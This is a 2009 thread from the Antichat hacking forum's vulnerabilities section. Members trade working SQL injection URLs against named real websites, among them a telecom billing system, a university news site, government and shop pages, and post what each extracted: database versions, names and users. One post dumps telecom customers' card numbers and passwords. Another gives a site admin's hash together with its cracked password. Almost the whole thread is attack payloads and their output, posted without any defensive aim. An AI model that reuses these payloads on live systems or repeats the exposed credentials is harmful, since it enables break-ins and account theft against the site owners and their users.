HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #9061  
Старый 30.04.2009, 05:17
ILYAtirtir
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
С нами: 10024314

Репутация: 739
По умолчанию

ОАО "Транстелеком"
Цитата:
http://www.cc.transtelecom.ru/TariffListPub.asp?fieldAreaKey=INTL'+union+select+ @@version--&Sort=1
Код:
Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov 19 2001 13:23:50 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
Цитата:
http://www.cc.transtelecom.ru/TariffListPub.asp?fieldAreaKey=INTL'+union+select+ db_name()--&Sort=1
Код:
BillSystem
Цитата:
http://www.cc.transtelecom.ru/TariffListPub.asp?fieldAreaKey=INTL'+union+select+ system_user--&Sort=1
Код:
CC_Client

все таблы
Цитата:
http://www.cc.transtelecom.ru/TariffListPub.asp?fieldAreaKey=INTL'+union+select+ TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TA BLE_NAME+NOT+IN+('BS_ACCOUNTS','BS_ADV_REPORT_TASK ','BS_ADV_REPORT_TASK_SCHEDULE','BS_ANI_INFO','BS_ AUDIT','BS_CDRLOG','BS_CURRENCIES','BS_CURRENCY_RA TES','BS_DIAL_AREAS','BS_DIAL_CODE_INTERZONE','BS_ DIAL_CODES','BS_DIAL_CODES_save','BS_DIAL_PREFIXES ','BS_DIAL_ZONES','BS_DNIS','BS_DNIS_USER_GROUP_MA P','BS_GRANTS','BS_GROUPS','BS_HOLIDAYS','BS_PHONE _BOOK','BS_PHONE_GROUP_MAP','BS_PHONE_GROUPS','BS_ PHONES','BS_SERVICE_UNITS','BS_SERVICES','BS_TARIF F_CONDITIONS','BS_TARIFF_PLAN_MAP','BS_TARIFF_PLAN S','BS_TARIFFS','BS_TASK_QUEUE','BS_TRANSACTIONS', 'BS_USER_GROUP_MAP','BS_USER_GROUPS','BS_USER_PHON E_GROUP_MAP','BS_USERS','BS_W_METRO','BS_W_METRO_L INE','BS_W_METRO_POINT','BS_W_POINT_GROUP','BS_W_S ALE_POINT','BS_WEEKEND_EXCEPTIONS','BS_ZONE_MAP',' dtproperties','sysconstraints','syssegments','view _cdr_by_distance_key','VIEW1','VIEW2')--&Sort=1

и например номер карты и пасс
Цитата:
http://www.cc.transtelecom.ru/TariffListPub.asp?fieldAreaKey=INTL'+union+select+ cast(F_NAME+as+nvarchar)%2B%27%3A%27%2Bcast(F_PAN+ as+nvarchar)%2B%27%3A%27%2Bcast(F_PASSWORD+as+nvar char)+FROM+BS_USERS--&Sort=1
Код:
№ 8536****:85366849:849652
 
Ответить с цитированием

  #9062  
Старый 30.04.2009, 10:04
Iceangel_
Постоянный
Регистрация: 09.07.2006
Сообщений: 553
С нами: 10441826

Репутация: 1861


По умолчанию

edu, PR=7
Цитата:
http://www.rit.edu/news/?c=student'+and+1=2+union+select+1,2,3,4,5,version (),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--+
Database Version: 5.0.77
Database name: w_news
User name: w-news@web01www01c.rit.edu
 
Ответить с цитированием

  #9063  
Старый 30.04.2009, 14:27
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами: 9030566

Репутация: 2017


По умолчанию

Сайт студенческого научного общества Белорусского государственного медицинского университета




http://snobsmu.com/news.php?id=1&tab=vnbol&sector_id=-9+union+select+concat_ws(0x3a,version(),user(), database())--


5.0.67-community:snobsmu_boss@localhost:snobsmu_main

Последний раз редактировалось HAXTA4OK; 30.04.2009 в 14:43..
 
Ответить с цитированием

  #9064  
Старый 30.04.2009, 15:02
farex
Banned
Регистрация: 11.03.2009
Сообщений: 214
С нами: 9035873

Репутация: 317
По умолчанию

<<SITC.ru: Новости высоких технологий>>
Код:
http://www.sitc.ru/index.php?id=99999999999999'+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,0,1,2,3--+
4.0.26-log:sitc:sitc@localhostortbld-freebsd5.2.1
 
Ответить с цитированием

  #9065  
Старый 30.04.2009, 15:43
InFlame
Участник форума
Регистрация: 27.10.2008
Сообщений: 215
С нами: 9230381

Репутация: 90
По умолчанию

Target: www.fashionguide.dk

Evil link: http://www.fashionguide.dk/international/news/news.php?id=871+union+select+concat_ws(0x203a20,ve rsion(),database(),user(),@@version_compile_os)--+

Info:
version: 5.0.67
database: look4fashion_dk_db
user: look4fashion@localhost
OS: redhat-linux-gnu


Admin:
bdm:ef19cf2f9c2faeb520542022e35f1cfe (pass: hestesko)
 
Ответить с цитированием

  #9066  
Старый 30.04.2009, 15:50
erihtoney
Познающий
Регистрация: 03.03.2009
Сообщений: 86
С нами: 9047791

Репутация: 258
По умолчанию

Грузинская Экономическая Академия(Тбилиси)
Код:
http://www.ael.ge/geo/viewsyllabus.php?id=-1+union+select+1,2,3,concat_ws(0x203a20,user(),
version(),database()),5,6
user: ael_edu_ge@localhost
version: 4.0.27
database: ael_edu_ge

_____________________________

Грузинский форум программистов

Код HTML:
http://portal.soft.ge/main.php?section_id=3&
script_id=2&
file_id=-1+union+select+1,,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
_____________________________

Код:
http://www.mersinozelidare.gov.tr/sayfa_icerik.php?yol=0_3+union+select+1,2,3,4
,5,6,7,8,9,10/*
_____________________________
 
Ответить с цитированием

  #9067  
Старый 30.04.2009, 16:07
Rav1n
Познающий
Регистрация: 05.11.2008
Сообщений: 92
С нами: 9217595

Репутация: 149
По умолчанию

Код:
http://www.podvesnoi.ru/catalog.php?group=-2+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6--
version: 4.1.22-log
database: wwwpodvesnoiru_podvesnoi
user: podvesno@localhos
____________

Код:
http://www.7sun.ru/index.php?action=catalog&act=view&id=-53+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8--
version: 5.0.51
database: s7sun
user: s7sun@localhost
____________

Код:
http://www.tehnikavdom.ru/ishop.php?s=catalog&id=-46+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7--
version: 5.0.75-log
database: vdomdk1u_tehnika
user: vdomdk1u_vdom@c9-w.ht-systems.ru
 
Ответить с цитированием

  #9068  
Старый 30.04.2009, 16:33
M.W.N.N.
Участник форума
Регистрация: 05.01.2009
Сообщений: 191
С нами: 9129884

Репутация: 240
По умолчанию

Код:
http://www.natural-immunogenics.com/news_detail.php?NewsID=7+union+select+1,2,version(),4,5,6,7,8+limit+1,1/*
version():4.1.22
database():naturalimm
user():niuser@localhost
 
Ответить с цитированием

  #9069  
Старый 30.04.2009, 16:37
erihtoney
Познающий
Регистрация: 03.03.2009
Сообщений: 86
С нами: 9047791

Репутация: 258
По умолчанию

Код:
http://www.disy.org/activecoach/produkte/produkt.php?ID=100+union+select+1,2,
3,4,5,6,7,8
,concat_ws(0x3a20203a,version(),user(),
database())--
version:4.0.18-nt
user:AK51@WEBSERVER1
database:ak51

_________________________________
Код:
http://www.hollybaby.org/news.php?id=-1+union+select+1,concat_ws(0x203a20,
user(),version(),database()),3,4,5,6,7,8,9--
version:4.0.15-nt
user:tronslien@64-141-114-108.static.dns77.com
database:tronslien
 
Ответить с цитированием

  #9070  
Старый 30.04.2009, 19:00
RulleR
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
С нами: 9428066

Репутация: 1668
По умолчанию

Код:
http://www.anunturiutilajeconstructii.ro/detal.php?id=-737+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat_ws(0x3a,version(),database(),user()),20,21,22,23,24,25,26--
5.0.77-community:utilcon_anunturi:utilcon_alin881@localho st
Код:
http://www.esunaganga.com/articulos.promocionales/show.detal.php?id=-355+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12--
4.1.22-standard:ganga_ganga2:ganga_gangaus@localhost
Код:
http://www.marcopolo.dk/php/rejser/detal.php?id=580+and+substring(@@version,1,1)=5
Код:
http://mapy.com.pl/index.php?right=detal.php&id=974+and+substring(@@version,1,1)=5
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.